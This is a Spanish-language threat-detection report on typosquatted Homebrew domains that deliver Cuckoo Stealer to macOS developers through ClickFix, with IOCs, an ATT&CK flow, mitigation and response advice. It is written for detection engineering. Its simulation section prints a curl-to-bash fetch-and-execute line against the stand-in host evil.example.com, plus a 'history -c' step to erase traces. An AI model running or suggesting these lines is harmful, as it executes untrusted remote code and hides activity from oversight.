SOC Prime Bias: Medio

18 Feb 2026 17:39

Falsos Homebrew Typosquats utilizados para entregar Cuckoo Stealer a través de ClickFix

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Falsos Homebrew Typosquats utilizados para entregar Cuckoo Stealer a través de ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe describe una campaña que abusa de dominios typosquatted de Homebrew para atraer a los desarrolladores de macOS a ejecutar comandos maliciosos de “instalación” a través de la técnica ClickFix. Un one-liner de curl diseñado envía a las víctimas a una infraestructura controlada por el atacante, entregando un cargador de recolección de credenciales seguido del infostealer Cuckoo Stealer. El malware persiste a través de un LaunchAgent, elimina los atributos de cuarentena y exfiltra credenciales y datos de monederos a través de HTTPS. La detección debe centrarse en los patrones del comando curl y la infraestructura asociada.

Investigación

Los investigadores rastrearon el señuelo inicial a homabrews.org, resolviendo en 5.255.123.244 en los Países Bajos y hospedando múltiples dominios similares (incluyendo raw.homabrews.org usado para entrega). El script descargado ejecuta un bucle de dscl authonly para validar las credenciales de macOS, luego recupera un binario llamado brew_agent. En la segunda etapa, Cuckoo Stealer crea un plist de LaunchAgent, elimina las banderas de cuarentena y se comunica con C2 usando intercambio de claves X25519 con cargas cifradas por XOR. La búsqueda de infraestructura descubrió una red de al menos seis dominios compartiendo la misma IP de hospedaje.

Mitigación

Educar a los desarrolladores para verificar las URLs de instalación de Homebrew y evitar copiar y pegar comandos no confiables en Terminal. Habilitar el registro de línea de comando y restringir los patrones donde curl descarga scripts remotos para su ejecución inmediata, especialmente los one-liners estilo “curl | sh”. La protección de endpoints debe alertar sobre la creación sospechosa de LaunchAgent y la eliminación de atributos de cuarentena. Las defensas de red deben bloquear los dominios maliciosos conocidos y marcar el tráfico a raw.homabrews.org y hosts relacionados.

Respuesta

Cuando se detecta un comando curl sospechoso, aislar el endpoint, capturar el script y binario brew_agent, y recolectar el plist de LaunchAgent para análisis. Restablecer las credenciales recolectadas y revocar los tokens comprometidos, especialmente para navegadores, Keychain y monederos de criptomonedas. Revisar forensemente el directorio oculto BrewUpdater, cualquier acceso directo creado y eliminar los archivos maliciosos. Actualizar las detecciones con los IOCs extraídos y monitorear la reutilización de la misma infraestructura.

«graph TB %% Class definitions classDef technique fill:#e6f2ff %% Node definitions node_A[«<b>Técnica</b> – <b>T1659 Inyección de Contenido</b><br/><b>Descripción</b>: El atacante aloja una página web maliciosa que imita un sitio legítimo para entregar contenido malicioso cuando un usuario visita.»] class node_A technique node_B[«<b>Técnica</b> – <b>T1204.004 Ejecución de Usuario: Copiar y Pegar Malicioso</b><br/><b>Descripción</b>: La víctima copia un comando diseñado desde una página web y lo ejecuta en un terminal.»] class node_B technique node_C[«<b>Técnica</b> – <b>T1059.004 Shell Unix</b><br/><b>Descripción</b>: Uso de un shell Unix para descargar y ejecutar un script de primera etapa.»] class node_C technique node_D[«<b>Técnica</b> – <b>T1555.001 Credenciales de Almacenes de Contraseña: Llaveros</b><br/><b>Descripción</b>: Acceso al Llaveros de macOS para recolectar credenciales almacenadas.»] class node_D technique node_E[«<b>Técnica</b> – <b>T1555.003 Credenciales de Almacenes de Contraseña: Navegadores Web</b><br/><b>Descripción</b>: Extraer contraseñas guardadas y cookies de navegadores web.»] class node_E technique node_F[«<b>Técnica</b> – <b>T1539 Robar Cookie de Sesión Web</b><br/><b>Descripción</b>: Recolectar tokens de sesión activos de navegadores y extensiones.»] class node_F technique node_G[«<b>Técnica</b> – <b>T1614.001 Descubrimiento del Idioma del Sistema</b><br/><b>Descripción</b>: Consultar la variable de entorno LANG para determinar la configuración regional del sistema y evitar ciertas regiones.»] class node_G technique node_H[«<b>Técnica</b> – <b>T1543.001 Agente de Inicio</b><br/><b>Descripción</b>: Instalar un plist de LaunchAgent a nivel de usuario para persistencia.»] class node_H technique node_I[«<b>Técnica</b> – <b>T1553.001 Evadir Gatekeeper</b><br/><b>Descripción</b>: Eliminar el atributo de cuarentena con xattr para evadir el Gatekeeper de macOS.»] class node_I technique node_J[«<b>Técnica</b> – <b>T1027 Archivos o Información Ofuscada</b><br/><b>Descripción</b>: Cifrar con XOR cadenas, cargas y configuraciones para ocultar contenido malicioso.»] class node_J technique node_K[«<b>Técnica</b> – <b>T1113 Captura de Pantalla</b><br/><b>Descripción</b>: Capturar capturas de pantalla de manera silenciosa usando la utilidad screencapture.»] class node_K technique node_L[«<b>Técnica</b> – <b>T1119 Recolección Automatizada</b><br/><b>Descripción</b>: Recolectar de forma recursiva monederos de criptomonedas, notas, documentos y tokens de mensajería.»] class node_L technique node_M[«<b>Técnica</b> – <b>T1573 Canal Encriptado</b><br/><b>Descripción</b>: Realizar intercambio de claves ECDH X25519 para crear un canal C2 encriptado.»] class node_M technique node_N[«<b>Técnica</b> – <b>T1102.002 Servicio Web: Comunicación Bidireccional</b><br/><b>Descripción</b>: Comunicarse con el servidor de comando y control a través de HTTPS.»] class node_N technique node_O[«<b>Técnica</b> – <b>T1041 Exfiltración a través de Canal C2</b><br/><b>Descripción</b>: Transferir datos robados a través del canal encriptado.»] class node_O technique node_P[«<b>Técnica</b> – <b>T1529 Apagado/Reinicio del Sistema</b><br/><b>Descripción</b>: Ejecutar un comando de reinicio cuando lo instruya el atacante.»] class node_P technique node_Q[«<b>Técnica</b> – <b>T1653 Configuración de Energía</b><br/><b>Descripción</b>: Activar un reinicio del sistema para aplicar cambios o interrumpir la respuesta a incidentes.»] class node_Q technique node_R[«<b>Técnica</b> – <b>T1070.009 Borrar Persistencia</b><br/><b>Descripción</b>: Autodestruirse eliminando los binarios y el plist de LaunchAgent.»] class node_R technique node_S[«<b>Técnica</b> – <b>T1564.014 Ocultar Artefactos: Atributos Extendidos</b><br/><b>Descripción</b>: Eliminar el atributo de cuarentena para evitar las advertencias del Gatekeeper.»] class node_S technique %% Connections showing flow node_A u002du002d>|conduce_a| node_B node_B u002du002d>|conduce_a| node_C node_C u002du002d>|conduce_a| node_D node_C u002du002d>|conduce_a| node_E node_C u002du002d>|conduce_a| node_F node_C u002du002d>|conduce_a| node_G node_C u002du002d>|conduce_a| node_H node_H u002du002d>|habilita| node_I node_I u002du002d>|habilita| node_J node_J u002du002d>|habilita| node_K node_K u002du002d>|habilita| node_L node_L u002du002d>|habilita| node_M node_M u002du002d>|habilita| node_N node_N u002du002d>|habilita| node_O node_O u002du002d>|habilita| node_P node_P u002du002d>|conduce_a| node_Q node_Q u002du002d>|conduce_a| node_R node_R u002du002d>|conduce_a| node_S «

Flujo de Ataque

Ejecución de Simulación

Requisito Previo: El Control de Prevuelo de Telemetría y Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán al mal diagnóstico.

  • Narrativa de Ataque y Comandos:
    Un atacante ha obtenido un script malicioso codificado en PowerShell alojado en un servidor C2. Para evitar escribir archivos en el disco, el atacante transmite el script directamente a un shell Bash usando curl -fsSL y la -c bandera. El comando se ejecuta interactivamente desde una cuenta de usuario comprometida, imitando un instalador legítimo de “click‑fix”. Los pasos son:

    1. Resolver la URL de carga maliciosa (por ejemplo, https://evil.example.com/payload.sh).
    2. Canalizar la descarga a Bash, instruyendo a Bash que ejecute el contenido con -c.
    3. La carga realiza la recolección de credenciales, crea un archivo oculto y luego elimina el script temporal (cubriendo T1070.004).
  • Script de Prueba de Regresión:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Simular instalador malicioso de macOS (estilo ClickFix)
    # -------------------------------------------------
    set -euo pipefail
    
    MALICIOUS_URL="https://evil.example.com/payload.sh"
    
    # Transmitir la carga directamente a Bash con -c
    curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)"
    
    # Se asume que la carga realiza sus acciones maliciosas.
    # Para fines de la prueba simplemente imprimimos un marcador.
    echo "Carga maliciosa ejecutada"
  • Comandos de Limpieza:

    # Eliminar cualquier archivo que haya podido ser creado por la carga
    rm -f /tmp/payload.sh
    # Opcionalmente, borrar el historial de comandos para reducir huellas forenses
    history -c